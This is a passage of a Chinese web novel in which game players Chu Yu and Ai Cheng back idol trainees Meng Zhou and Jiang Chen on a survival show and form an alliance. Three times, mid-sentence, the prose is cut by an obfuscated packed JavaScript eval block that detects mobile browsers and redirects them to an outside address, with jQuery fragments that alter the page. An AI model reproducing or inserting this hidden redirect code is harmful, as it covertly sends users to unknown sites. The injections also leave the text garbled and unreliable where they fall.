后台的褚余此时正一脸欣慰，虽然初舞台并没有完全按照她预想的进行，但孟舟他做到了，他真的被所有人都看到了。 至于周彦……褚余紧紧盯着显示器中跟别人继续battle的周彦，忍不住笑了，这个游戏世界，似乎变得更有趣了。 8. 宿舍 场务小欧猫着腰，像鬼魅一样溜到了褚余跟前，她仰起脸，堆满谄媚的笑，说：“褚老师，你买的股不错嘛。” “那当然，我从没看走眼过。”褚余双手抱在胸前，论投资她从未失手，挑选爱豆也跟投资一样，没有十足的把握她是不会盲目入手的。 “但是吧……”小欧拖长了音调，轻轻“啧”了一声，“孟舟比起周彦还是差太多了。依我多年来追星的经验来看，按照周彦这势头，估计就这样一C到底了，初C即终C，没什么悬念。至于孟舟，虽然现在风头正盛，但估计好景不长，说不定一轮就淘汰了。” “你什么意思？”褚余皱了皱眉头。 “就是提醒一下你，褚老师。”小欧笑道。 褚余冷笑道：“周彦给你什么好处了？” 小欧连忙摆手，脸上依旧挂着笑：“我一个小小场务哪有人把我放在眼里，我是实话实说罢了，嘿嘿。再说了，我想要的周彦也给不了。”小欧一边解释，一边偷偷观察着褚余的表情。 “哦？”褚余没想到她的野心还不小，但她实在没兴趣了解一个小小场务的远大目标，她不想搭理对方，作势要走。 “我想当出道爱豆的经纪人。”小欧搓了搓手，拦在褚余面前，像是在期待着什么。 褚余冷哼一声，这小欧看上去像是早就谋划好的，故意在这等着她呢，褚余带着一丝嘲讽地笑意说道：“你可以当周彦的经纪人啊，你不是最看好他吗？” 小欧摇头，“周彦有专业的经纪团队，看不上我这样的新人。” “所以你就来找我？你是想借我靠近孟舟？”褚余在心里默默翻了个白眼，但表面上还留有体面，她抿着嘴笑，眼睛里却没有笑意。 “其实我一开始看中的另有其人，但孟舟这次初舞台还不错，让人没法不注意到他。”小欧依旧笑着，继续道，“褚老师，我知道，你是孟舟的金主，孟舟将来的经纪人你应该说了算。我就是想借此机会跟你毛遂自荐一下，如果你赏脸用了我，我愿意帮孟舟坐上C位。” 褚余听完只觉得好笑，不就是自作聪明，想利用她上位吗，她对这种人向来没什么好脸色，更何况刚刚还大言不惭地说孟舟会一轮游，现在又腆着脸换了副说辞，实在让人觉得有点恶心。 她冷冷道：“不必了。” “多一个人，多一份力量，褚老师！你相信我，有我在，孟舟一定能坐上C位的。”小欧紧紧握上褚余的胳膊。 褚余皱着眉头，拍了拍她的手，示意让她松开，不愿再说一句话，径直走开了。 * 结束了初舞台的录制后，练习生们被带到了基地最东边的宿舍区。 宿舍区最显眼的位置是一座豪华的独栋小别墅，上边写着A，别墅后方依次排列着3栋公寓，分别是B、C、D。 “宿舍也按等级划分吗？”身上贴着D的练习生抱怨道，“一样大的公寓，我们这么多人不得挤死。” “谁让你是D呢，有本事去A啊！”身上贴着B的练习生酸溜溜地望着A栋大别墅。 “那周彦住哪？”有人问道，“没看到TheOne在哪。” “没听说吗，TheOne可以随便选啊，想去哪就去哪。” 周彦从摆渡车上跳下来，扫视一圈，朝A栋别墅走过去。几个练习生殷勤地围上去搭话，跟在周彦屁股后边浩浩荡荡地走到A栋里去。 孟舟拖着行李箱下车，前几次都没住过A栋，这次就这么轻易地住上了，心情有些微妙。他慢悠悠地走在去往别墅的路上，抢宿舍什么的他不太在乎，有个能住的地儿他就满足了。 “孟舟？”一个身穿运动服的清秀小男孩跳到了孟舟面前，“你是叫孟舟吧？” 孟舟被吓了一跳，定睛一看，是老熟人江辰，“上辈子”俩人做过室友，但现在已经是新的一辈子了，两人的室友情早就烟消云散，孟舟必须装作不认识的样子，他淡淡道：“你好。” “我喜欢你的初舞台，我们认识一下吧！”江辰伸出手，强行握住孟舟的手“你记得我的初舞台吗？我是那个solo的b-boy，全场年龄最小的练习生，我叫……” “江辰，我记得你。”孟舟露出一个浅浅的笑，江辰刚刚说的这番话和第一次见他时说的一模一样，有意思的是，不管孟舟的初舞台表演什么，江辰都会说喜欢，可能这也是一种羁绊吧，但是这次孟舟被分到A栋，两人室友的情谊不能再续了。 眼看着已经到了A栋，孟舟挥了挥手，跟江辰告别道：“我先进去了，B栋在后边，我就不送你了。” 江辰听到这话，嘴巴高高撅起，一脸不悦，道：“你还说你记得我！我明明也是A，你竟然以为我是B！你也太小看我了！” “啊？”孟舟傻了，他这次确实没看江辰的舞台，没想到他这次拿到了A，今时不同往日，他们哥俩竟然同时好起来了。 突然一群人猛地从A栋别墅中涌了出来，把门口的孟舟和江辰挤得晕头转向，两人的行李箱在人群中不知道被踢了多少脚，留下一些脏脏的印子，箱轮也磨坏了好几个。 还有不少不知好歹的其他等级的练习生不断说着“彦神，我改天再来”“彦神，我们随时联系”之类的话。 周彦双手插兜站在别墅二楼，冷冷地睥睨着楼下的众人，冷冷地扯了扯嘴角。 孟舟忍不住叹了口气，这些人显然是被周彦赶出来了，竟然还不屈不挠地上赶着跪舔，真是一群努力的NPC啊，孟舟自愧不如。 江辰被挤得气不打一处来，冲着周彦喊道：“周彦！我早就看不惯你了！你能不能管好你的人？” “我的人？他们可不是我的人。”周彦轻蔑地笑出了声，“他们跟你一样，都是我的手下败将罢了。” 初舞台battle环节江辰也挑战了周彦，两人PK唱功，江辰惨败。 一想起刚刚的惨败，江辰对周彦更恨得牙痒痒，他双手攥拳，狠狠瞪着周彦，“你别高兴得太早！” “哦？小不点要报仇吗？还是……”周彦的目光落在孟舟身上，饶有兴致地看着他狼狈的模样，“要拜托你身边这位哥哥帮你报仇？” “是啊，你怕了吗，孟舟就是比你强一百倍！有本事你再跟他batt ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300454|167162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' le一轮啊！”江辰借着孟舟的声势跟周彦叫板，但转头一看孟舟早就扛着行李箱，头也不回地走了，只剩下江辰一个人在楼下瞎比划。 “我看真正怕的另有其人吧。”周彦露出不屑的表情，阴阳怪气道，“哦对了，你们来晚了，只剩下一个房间了，只能委屈你们两个人睡一个房间了。不过不会委屈你们太久的，毕竟按照你们的实力，下一轮就淘汰了。” “你……”江辰的话还没说出口，周彦就扭头离开了，气得江辰扔下行李箱跑到二楼去跟他继续理论。 一楼东侧走廊尽头还剩最后一间空房间101，旁边是杂物间和洗衣房，和其他练习生的房间都不挨着。 孟舟搬着行李箱来到101门前，他放下行李箱去开门，却发现这门怎么都打不开，但没一过几秒，门就自己缓缓打开了，屋里的灯也亮了起来。 “孟舟你可算来了！”褚余迅速地把孟舟连同行李拉了进来。 “褚余？”孟舟眼睛瞪得圆圆的，“你怎么进来的？” “我……翻窗进来的。”褚余支支吾吾，其实她初舞台结束后就直接传送到了这个房间里，反锁了门，靠这招赶走了好几位练习生，等了半天总算等到孟舟了。 褚余看着眼前的孟舟，头发乱乱的，行李箱也脏脏的，她眉头一皱，本来要说正事，但现在全然忘了，“你又被人欺负了？” “没有啊。”孟舟眨了眨眼睛，一派天真的模样。 褚余盯着孟舟，她合理怀疑又是赵石那家伙来招惹孟舟了，当初真应该狠狠教训一下赵石，最好让他直接退赛。“孟舟，有什么事一定要告诉我，我是你的经纪人，我会罩着你的。” 孟舟也盯着褚余，他还在想之前的问题，小陈就是褚余，但小陈和褚余是完全不同的两个角色，褚余保留了小陈的记忆是否就证明褚余和他一样，都是系统的漏洞？那褚余知不知道他们生活的这个世界的事实呢？ “褚余，小陈，你是我的粉丝，那我说什么你都会相信，对吧？”孟舟试探地问，脑海中闪过第二次他被所有人当成疯子的情景，不禁打了个冷战。 “当然。”褚余毫不犹豫。 孟舟咽了咽口水，“其实……” 门外突然响起脚步声，紧接着一阵敲门声传来，“孟舟！你怎么丢下我一个人跑了？” 孟舟刚要说话就被打断了，他无奈地看着褚余，褚余一脸疑惑。 “是江辰。”孟舟叹了口气。 褚余压低了嗓子：“他来干嘛？” “孟舟，快开门啊，周彦占了一个房间，我们俩只能睡一间了。”门外的江辰继续诉说着周彦的恶行。 褚余还以为A组一人一间，没想到孟舟竟然要跟别人共享一间房，一件正事都还没说就被不速之客打扰了。 而且要是被别人发现孟舟房间里藏着一个女生，那舆论还不得直接把孟舟淹死，别说出道了，当场被退赛也是有可能的。 她看向东侧的窗户，还好当时选了一楼尽头这个房间，这下子是真的要翻窗了。 “孟舟，去海边找我，9点之前我一直在。” 9. 艾橙 天色渐暗，月亮被云遮了个严严实实，只有别墅中露出的灯光为外面增加了一点可见度。 褚余两手一撑，利落地从窗台上跳了下来，稳稳落在一楼外边的草地上。她绕到别墅北面，准备从后门溜走，没想到就在刚转角的瞬间，“砰”的一声，褚余被人给撞倒了。 两个身影重重地撞在一起，估计都没料到在这么隐蔽的地方，会突然冒出另一个人来，两人毫无防备，狠狠摔倒在地上。 一个圆圆的东西骨碌碌滚到褚余手边，褚余揉了揉被撞得生疼的脑袋，下意识向手边看去，这不是玩家勋章吗！那熟悉的材质，熟悉的光泽，她绝不会看错！ 褚余伸手去拿，可就在她的手指即将触碰到勋章的那一刻，一道黑影猛地扑了过来，将她重重扑倒在地。 褚余这才看清，面前的是一个女孩。她看起来年龄不大，圆圆的脸在夜色中显得格外稚嫩，但她的力气却不小，那股子冲劲儿，硬生生把褚余半个身子都压在地上，让褚余动弹不得。 褚余趴在地上，迅速瞄了一眼那枚勋章，上面写着“全服拉新榜NO.1”，不是自己的那枚！ “不好意思，我东西掉了，你没事吧？”女孩声音中带着一丝慌乱，她伸手拿起勋章，嘻嘻一笑，把身下的褚余拉了起来。 褚余站稳身子，借着灯光仔细端详着面前的女孩和她手里的勋章，忍不住开口问道：“你是玩家？” 女孩听到这话，眼睛瞬间瞪得老大，她下意识地挥舞着双手，想去捂住褚余的嘴，但话已经说出口了，她再怎么样也于事无补。女孩像一只突然泄了气的气球一样，整个身子都垮了下来，瘫坐在地上，仿佛天都要塌了。 褚余看着女孩这反应，自己应该猜的没错，游戏规则第二条，不能被角色发现玩家身份，她大概以为褚余是游戏中的角色了。 “完了，被发现了，这可怎么办呀！”褚余故意皱着眉头，可语气里却透着幸灾乐祸的恶趣味。 女孩看了看褚余，又看了看手里的勋章，眼泪一下子涌了出来，她哽咽着说：“呜呜呜呜这才刚开始怎么就要结束了啊，我们家辰宝可怎么办啊……” “哎你别哭呀。”褚余最见不得别人哭，谁知道她一句话竟然把对方给惹哭了，而且万一哭太大声把别人给引过来就更难解释了。 她急忙从衣服里衬掏出自己的那枚玩家勋章，在女孩面前亮了亮，语气一下子软下来，轻声道：“我也是玩家。” “啊？”女孩先是一愣，随即半信半疑地拿过褚余的勋章，捧在手里仔细端详了一阵，从她那瞪大的双眼和微微张开的嘴巴可以看出“全服氪金榜NO.1”这几个字给她带来的震撼。 “你没暴露，别担心了。”褚余蹲下来，轻轻拍了拍女孩的肩膀试图安慰一下，谁料她的手还没缩回来就被对方双手紧紧握住。 “我靠！野生大佬！”女孩的眼睛亮晶晶的，大概是刚刚的眼泪还没干的缘故。 褚余被这情绪转变整得有点懵，她尴尬地笑笑，硬生生把手抽了出来，顺便把玩家勋章也收了回来，放回到衣服内侧的口袋里。她抖了抖衣服上的灰尘，起身要走。 女孩像个跟屁虫一样黏了上去，追在褚余后边问个不停：“大佬！你pick的谁啊？你什么时候进来的？全服氪金榜一到底是氪了多少啊？像你这样的氪金大佬有什么特权吗？哦对了大佬，我刚刚看到你工牌，你是导演组的吗？你的游戏名是褚余吗？我游戏名叫艾橙，我是……” 褚余感觉身边好像有一只赶也赶不走的蚊子，吵得头都要大了，她无奈地站住，看着女孩，“艾橙？” 艾橙眼睛依旧亮晶晶的，听到褚余叫自己的名字立刻笑盈盈地说了句“到”，仿佛被氪金大佬点名也是一种恩典。 “艾橙，我现在有正事要忙，我们晚点再联系可以吗？”褚余抿嘴假笑，她急着去基地北边的海边踩点，要是一直聊下去，怕是要错过跟孟舟的约定了。 艾橙猛猛点头，脸上依旧洋溢着灿烂的笑容，“好的大佬！等你忙完了可以来宣传组找我！” “你是宣传组的？”褚余说的本来是客套话，但一听艾橙是宣传组的，突然有了几分兴致。 艾橙摸索了一下衣服口袋，空的，又摸了一下裤子口袋，从里边拽出一个工牌，举到褚余面前晃了晃，有些得意地说：“宣传组艾橙，如假包换！” 褚余看了眼工牌，点了点头，笑道：“等我忙完，马上去找你！” * 褚余翻窗走后，孟舟好好观察起这个房间。 这里不像别墅外边看起来那样气派，整个房间不算小，甚至可以说是空旷，没添置什么家具，一张床，一个沙发，一桌一椅，一览无余。 门外的江辰已经开始砸门，孟舟这才想起来开门。 “孟舟，你刚刚在屋里干嘛呢，一直不开门。”江辰拖着行李箱进来，脸上满是幽怨，一双眼睛直直地盯着孟舟。 “窗户也不关，很多蚊子的！”江辰扔下行李箱要去关窗。 “没干嘛。”孟舟三步并作两步，抢在江辰前面，跑过去关上窗户。 窗外黑黢黢一片，一个人影都没有，想必褚余早就离开了。 “没干嘛？”江辰满脸狐疑，把房间里里外外仔仔细细看了个遍，“我怎么好像听到有其他人的声音。” 孟舟心里一紧，尴尬地扯出一抹笑容，说道：“有吗？这屋里只有我一个人呀，你听错了吧。” “真的没有吗？你是不是……”江辰转着圈打量着孟舟。 孟舟被盯得有些发毛，这小屁孩怎么疑心这么重。 “你是不是偷偷藏手机了！？”江辰猛地停下脚步，右手食指直直地指向孟舟，摆出“真相只有一个”的造型，眼睛里闪烁着缉拿凶手的兴奋光芒。 孟舟扶额苦笑，心里暗自庆幸还好这傻孩子心里只有手机，没有发现褚余，不然他还真不知道该怎么向他解释。 “怎么可能呢，一进来不是就收手机了吗，我向来都是遵纪守法的，别疑神疑鬼了。”孟舟摆了摆手，走到行李箱旁边，“哗啦”一声拉开拉链，拿出换洗的衣服，“我一会儿要出门，先去洗澡了。” 孟舟洗完澡后，站在镜子前仔细地整理好头发，瞥了一眼墙上的时钟，时间显示才八点。镜子里，江辰正坐在沙发上一动不动地盯着孟舟。 江辰竟然还在怀疑他偷藏手机，孟舟轻轻叹了口气，他穿上外套，准备出门，却被江辰给拉住了。 江辰不知道什么时候站到了孟舟身后，摆出一副正义凛然的模样，质问道：“说！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300455|167162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你是不是要偷偷出去玩手机？” 孟舟听了这话真是又无奈又好笑，真是服了他了，怎么就过不去手机这坎了，“不是，真的不是。” “那你出去干嘛？”江辰不依不饶，死死盯着孟舟，好像这样就能看出什么猫腻来。 “我有事。” “我不信。” “真有事。” “真不信。” 孟舟被他缠得没了办法，索性摆烂，道：“对，我是出去玩手机。” “你也太不仗义了吧，借我玩会儿。”江辰一听这话立马换了副模样，拉着孟舟的胳膊开始死缠烂打。 “你不是有Switch吗？”以孟舟对江辰的了解，他是一刻都离不开游戏，Switch肯定是随身携带的。 江辰不自然地摸了摸鼻子，“有些游戏，在Switch上玩不了……你就让我玩会呗。作为报答，我教你托马斯回旋怎么样？包教包会，这个我可不是随便教的！” 孟舟实在拗不过他，只好先敷衍着答应下来，“这样吧，等我回来我就给你带手机行吧。”褚余的手机应该带在身上，只能到时候把她的手机借来给江辰玩一会儿了。 孟舟好不容易摆脱了江辰，独自一个人朝着基地最北边走去。 夜晚的海总是比平时更加安静，放眼望去，漆黑一片，只有远处的亭子中闪着一点微光，在这片黑暗中显得格外醒目。 孟舟沿着海滩向亭子走去，脚下的沙子软绵绵的，还留着白天太阳晒后的余温。他从黑暗处看向微光下的人影，看得分外清晰。 这次他下定决心要问清楚，褚余是否知道这个世界的真相，褚余是否跟他一样，是这个游戏世界的异类。 褚余站在亭子里，隐约看到远处有个人影正徐徐走来，来人的样子她看不分明，于是她忍不住迎了上去，喊道：“孟舟？是你吗？” “是我。”孟舟熟悉的声音随柔和的海风传来，让褚余瞬间安心下来。 “还没到9点。”褚余看了一眼时间，孟舟比约定的时间早很多。 “我不想让你等。”孟舟渐渐从暗处走出来，他知道褚余今天在宿舍已经等了他很久，所以这次他预留了提前量，“但没想到还是让你等了。” “没事！”褚余笑了笑，示意孟舟坐下来，“我们先说正事吧。” 说着，褚余从包里拿出电脑，行云流水地打开自己精心制作的出道计划PPT，一本正经地开始介绍起来，其敬业程度远胜一众水课的大学老师。 孟舟一看页面左下角，好家伙，整整54页！ 他忍不住咽了下口水，声音有些嘶哑：“我可以打断一下吗？” “有什么问题吗？”褚余的老师范十足，但她绝不是什么不通人情的老师，褚老师殷切欢迎学生的一切提问。 孟舟清了清嗓子，努力让自己的声音听起来权威一些，他直入主题：“褚余，你有没有感觉有什么不对劲？” “啊？”褚余先是一愣，而后有些惊慌地压着嗓子道：“不对劲！很不对劲！” 孟舟背后不远处，有两个拿着手电筒的人正朝着他们走来，手电筒发出的光在黑暗中格外刺眼。说话间，那两人已经走到了褚余和孟舟身边，一束强光打到了褚余的脸上，刺得她睁不开眼。 10. 结盟 “大佬？”黑暗中的一个人率先开口道，“我是艾橙啊，我们刚见过！” 褚余用手遮住强光，皱着眉头努力睁开眼睛。 孟舟闻声也回过头，看到一个再熟悉不过的面孔，“江辰？” “孟舟？”江辰用力地眨了眨眼，再三确认自己没有看花眼。 一阵强劲的海风从亭子中穿过，四个人在风中凌乱着，一时之间，气氛有些微妙。 褚余突然想起PPT上还展示着她的商业机密，“啪”地一声迅速把电脑合上，她先发制人地提问起来：“艾橙，你们来这里干什么？” “我从宣传组借了相机来拍几张花絮照，刚在室内拍完，再来海边拍几张有氛围感的。”艾橙一边说着，一边举起手中的相机晃了晃。她慢慢走上前来，笑眯眯地打量着孟舟和褚余，拖长了音调问：“大佬，那你们……？” “我来给孟舟对明天的流程。”褚余淡定地笑笑。 呆站着的江辰突然恍然大悟，像是发现了什么秘密一样，悄咪咪地凑到孟舟耳边，眼神中充满了敬佩，“孟舟，你是怎么贿赂的导演组？也教教我呗，或者让她通融通融，把我手机拿回来让我玩会儿。” 孟舟干笑两声，尴尬地望向褚余，不知道该说些什么。 “咳……我和孟舟这边已经对接完了，就先走了，我们改天再聊。”褚余露出礼貌的笑容，迅速把电脑收进包里，然后跟孟舟交换了一下眼神。 孟舟会意地点点头。 “等一下！”艾橙眼疾手快地伸出手，猛地把褚余拉到一边，低声问道，“大佬，你本命就是他吧？” 褚余再次感叹了一下艾橙的力气之大。 “那个孟舟我记得的，初舞台惊艳全场，我之前都没注意到他，但现在看来，应该是这节目最大的黑马。不愧是大佬你看中的人！” 艾橙夸的很到位，也很真诚，褚余看她不像是有恶意的样子，心想这也没什么好隐瞒的，只好点了点头，轻轻“嗯”了一声。 “大佬，要不然，我们结盟吧！”艾橙眼里闪闪发光，把脸凑到褚余跟前。 褚余一时没反应过来，感觉要被这炽热的眼神烤化了。 “孟舟是最好的vocal，我们江辰是最好的dancer，不撞型还互补，咱们强强联手，不管将来谁C位都能拉对方一把，出道几率大大增加啊！”艾橙手舞足蹈地讲着。 联盟确实能增加出道的几率，褚余不是没想过，但她始终觉得靠别人没有靠自己靠谱，更何况按照孟舟的实力，再加上她的促成，拿下“TheOne”的位置没什么大问题，C位出道根本不在话下。 褚余看了看旁边正一脸茫然的孟舟，又把目光移到孟舟旁边，看着那一身孩子气、正蹲在地上玩沙子的江辰，她抿嘴笑了笑，对艾橙说：“我考虑考虑。” 艾橙知道褚余这话带着一丝拒绝的意味，她的眼眶瞬间红了起来，抱着褚余的胳膊，整个人都软在褚余身上，摆出一副可怜兮兮的模样。 “求你了，大佬，带带我们吧，我和江辰都很听话的，绝对听从你的调遣，我们不会拖后腿的。”艾橙一双泪眼望着褚余，声音都哽咽了。 褚余这人向来是吃软不吃硬，软到艾橙这个程度，强如褚余也只能被稳稳拿捏，她清了清嗓子，道：“好……好吧。” 艾橙一听这话顿时满血复活，瞬间换了一副脸色，在褚余的胳膊像小狗一样蹭了蹭，“嘿嘿谢谢大佬！” 一旁的孟舟虽然听不到两人的对话，但被艾橙笑眯眯的眼神看得浑身不自在，假装很忙的样子，蹲下来陪江辰一起玩沙子。 艾橙向褚余提议道：“大佬，我要给江辰拍几组照片po在网上，你们待会儿要是没事的话，也一起拍呗。” 褚余也想让孟舟增加一下曝光度，这白捡的好处不可能不要，但营销如果做得太过明显，难免会显得孟舟像个皇族。她谨慎地问道：“这是宣传组给你安排的活儿，还是你自发的？” 艾橙拿出手机，向褚余展示了一下自己手底下的营销号矩阵和各领域的kol博主账号，“这些都是我的个人资源，放心吧大佬。” 褚余拿过来仔细翻看了一下之前发的一些照片和视频，全是各种角度各种风格的江辰，摆拍抓拍都有，还有好多路人偶遇视角，每个账号的浏览量和转评赞数据都还不错，而且互动的不像是机器人水军，都是些活人账号带来的自然流量。 褚余赞叹地伸出大拇指，颇为欣赏地点了点头，道：“艾橙，你真是深藏不露啊。” “也没什么啦。”艾橙嘿嘿一笑，“这些其实不是我自己运营的，是我刚进游戏的时候系统发给我的。” 褚余想起艾橙那枚写着“全服拉新榜NO.1”的勋章，系统还真是人性化，给不同玩家配备不同的金手指，量体裁衣，也是煞费苦心。这样一来，她和艾橙结盟的好处确实更多了。 “对了大佬，系统给你的金手指是什么啊？”全服氪金榜一大佬到底有什么特权，艾橙早就想知道了。 褚余拿出手机，淡然地亮了亮账户上近十亿的资产，本人没有任何炫耀的意思，单纯是展示。 “十万、百万、千万、亿……”艾橙一个零一个零数过去，眼睛逐渐放大，“大佬你氪了这么多钱！？” 褚余摆了摆手，“我只充了一千万，可能游戏里通货膨胀了吧。” “一千万已经够多了，我这辈子都没见过这么多钱，更别说往游戏里氪了。”不愧是全服氪金榜一，艾橙更加确信这大腿没抱错。 褚余稍作思考，刚进游戏时系统给她分配的可不止有十亿资产，还有瞬移能力，既然已经决定结盟了，那么坦诚相待才能将利益最大化。她坦白道：“系统还给我了一项技能，我可以瞬间移动，传送到游戏中的任意地点。” “瞬间移动！？这么酷！”艾橙投来羡慕的目光。 “你应该也还有一项技能吧，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300456|167162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是什么？”褚余直截了当地问。 “哦！系统之前说过给我配备了黑客技能。”艾橙摸了摸脑袋，有些难为情地说：“我至今都还没用过，根本不知道有什么用。” “黑客啊……”褚余若有所思，“会有用的。” “还是瞬间移动比较帅！正宗二次元风味！”艾橙又凑了上来，一脸期待地问道：“大佬，你这个技能能带人吗？” “没试过。”褚余摇头。 “可以试一下吗？”艾橙星星眼，手指指向自己疯狂暗示。 褚余有些为难，她瞥了一眼旁边的孟舟和江辰，要是做出什么奇怪的行为被他们发现不对劲就难办了。 艾橙也知道这确实有暴露身份的危险，耷拉下脑袋看着脚尖，一声不吭。 褚余看向艾橙，安慰道：“改天吧，等没人的时候，我们俩偷偷试一下。今天先干正事，不是要拍照吗？” 艾橙这才想起来海边的目的，拍了一下脑门，道：“差点忘了！” 不远处的孟舟和江辰还蹲在地上玩沙子，海浪一下一下地爬上来，两个人时不时被撵着挪一下地方。 江辰用胳膊撞了撞孟舟问道：“孟舟，手机的事你可别忘了。” 这小子，都什么时候了，还想着手机！孟舟抬头瞅了一眼正在说话的褚余和艾橙，问道：“那个叫艾橙的女孩是宣传组的工作人员？” 江辰“昂”了一声，从沙子里扒拉出一个贝壳，看了看不是很满意，用力一扔，扔到了海水里。 孟舟又继续追问道：“那你怎么认识的她？她是你什么人？” 江辰听到这话也无心再玩沙子和贝壳了，突然变得有些扭捏，他眼神闪烁地反问道：“你问这干嘛？” “我就问问。”孟舟觉得两个人的关系肯定不一般，就像他和褚余一样，一定不是表面上看起来那么简单。 江辰顿了顿：“你……你不会看上她了吧？” 真不知道江辰这小子的脑袋瓜是用什么做的，孟舟无奈道：“你想什么呢，我就是随便问问，你不想说也没事。” 江辰低下头用手指划拉着沙子，不知道嘟囔了一句什么：“=wo#ma&。” “啊？你说什么？”孟舟怀疑江辰突然说了一句外星语，一个字都没听懂。 江辰有些无语的看着孟舟，再次嘟囔道：“她是我妈。”口齿比刚才清晰了一些。 “啊？？？”孟舟这下听清楚了，但实在不敢相信自己的耳朵，“你说什么？？？” “我说——”江辰凑到孟舟耳边，咬牙切齿道：“她是我妈。” 孟舟的大脑彻底宕机了。他确信自己没听错，但真的没错吗？艾橙看起来也就是个高中生的年纪，怎么就成了江辰的妈了？ 孟舟难以置信地盯着江辰，江辰撇了撇嘴，自顾自地低下头继续找沙子里的贝壳。 孟舟眼神空洞地望了望前方，这……这到底是个什么游戏世界！ 11. 齐钧 夜深了，海风逐渐凉了起来。 褚余站在一旁，静静地看着孟舟，他的目光总是时不时地落在艾橙身上，带着一种复杂而怪异的神情，整个拍摄过程他都有些心不在焉，动作也很生硬，跟旁边的江辰比起来显得没什么表现力。 “孟舟你怎么了？没事吧？我感觉你状态有点不对。”拍摄结束后，褚余把孟舟拉倒旁边，关切地问道。 孟舟下意识地瞥了艾橙和江辰一眼，他们俩还在继续拍摄，两人之间诡异的亲密感让孟舟有些难以启齿：“褚余，你知道他俩的关系吗？” 褚余回答得相当迅速：“我知道啊。”语气轻松得仿佛是在谈论一件再平常不过的事情，脸上没有任何异样的神情。 孟舟皱紧了眉头，他有些不可置信地看着褚余。 褚余云淡风轻地加了一句：“跟我们俩一样啊。” 孟舟听到这话猛烈地咳嗽了几声，“他们怎么可能跟我们一样……？” “孟舟——”江辰在不远处呼喊着孟舟的名字。 孟舟转头望去，只见江辰他们已经结束了拍摄，正朝这边走来。 褚余从兜里掏出一个儿童电话手表，递到孟舟手里，轻声说道：“节目组不让拿手机，只能委屈你先用这个了，我的号码已经存在里边了，我们随时联系。” 孟舟拿着儿童手表，一种别样的感觉油然而生。这手表跟智能手表没什么不同，只是表带上印着卡通图案，看起来有些幼稚。 “走啦孟舟！”江辰那边跟艾橙告了别，正站在一旁催促孟舟一起回宿舍。 回到宿舍，孟舟很慷慨地把唯一一张床让给了江辰，江辰也毫不客气，沾床就睡，很快就发出了轻微的鼾声。 孟舟在沙发上辗转反侧，脑海中不断浮现出海边的画面，江辰、艾橙，还有褚余，那些画面像是被搅动的漩涡，让他的心绪难以平静。 恍惚间，孟舟听到厨房传来叮呤咣啷的声音，他从床上爬起来，揉了揉眼睛，晕头转向地走到厨房，定睛一看竟然是褚余在做饭。 褚余看到孟舟，微微一笑，说：“起来啦儿子，吃完饭赶紧上学去，要迟到了。” 孟舟看着锅里黑乎乎的一团不明物体，依稀冒着些热气。 褚余从兜里掏出一个儿童手表，对他说：“学校不让带手机，拿着这个，妈会联系你的。” 孟舟接过手表，那手表化作一滩黑水，热热地流了他一身。 孟舟又热又怕，猛地睁开眼，发现自己还躺在沙发上，天已经亮了，刚刚发生的一切只是一场梦。 江辰正坐在床沿玩Switch，看了看满头大汗的孟舟，悠悠地说了句：“空调坏了，我也被热醒了。” 孟舟拿起儿童手表一看已经8点，他擦了擦额头上的汗，朝浴室走去。9点开始录节目，他们得收拾收拾准备出发了。 * 褚余一大早就赶到了录制中心，她匆匆放下包，还没来得及喘口气，副导演Tina就把她叫走了。 “小余，昨天你跑哪儿去了？收工后我们在片场找了你好久，都没看到你人影。” 褚余感觉有些不妙，虽然Tina以温柔著称，从不为难手下的工作人员，但还是编个合适的理由比较保险，“不好意思Tina姐，我昨天有点发烧，收工后就先回去休息了。” Tina小声问道：“昨天，是不是你自作主张，中途叫停了拍摄？” 褚余抬头看了一眼Tina，她的表情不像是生气的模样，稍微松了一口气：“我看大家连续拍摄那么长时间都没休息，实在是太辛苦了，所以就……” “我就知道不是齐钧，那家伙怎么可能突然插手起节目的事了，还那么好心让员工休息。”Tina语气里带着几分不屑，她看了看褚余，表情又恢复成温柔如水，“没事，我不是来兴师问罪的，你别太紧张。” 据说导演齐钧和副导演Tina向来不和，节目的拍摄一直是Tina亲力亲为，齐钧只是挂个名，但由于公司是齐钧他们家的，Tina总是被这个不学无术的富二代压一头，于是怀恨在心，这事儿节目组人尽皆知。 褚余之前也只是听说，现在一看Tina对齐钧的态度，果然传言不虚，她尴尬地笑笑，“Tina姐你找我有什么事吗？” “不是我找你，是导演找你。”Tina摇了摇头，“昨天收工后导演发了疯似的发动全体工作人员找你，我估计是要找你算账吧。我提前知会你一声，省得你没有心理准备就……” 说曹操曹操到，齐钧插着兜悄无声息地晃到了褚余身后。 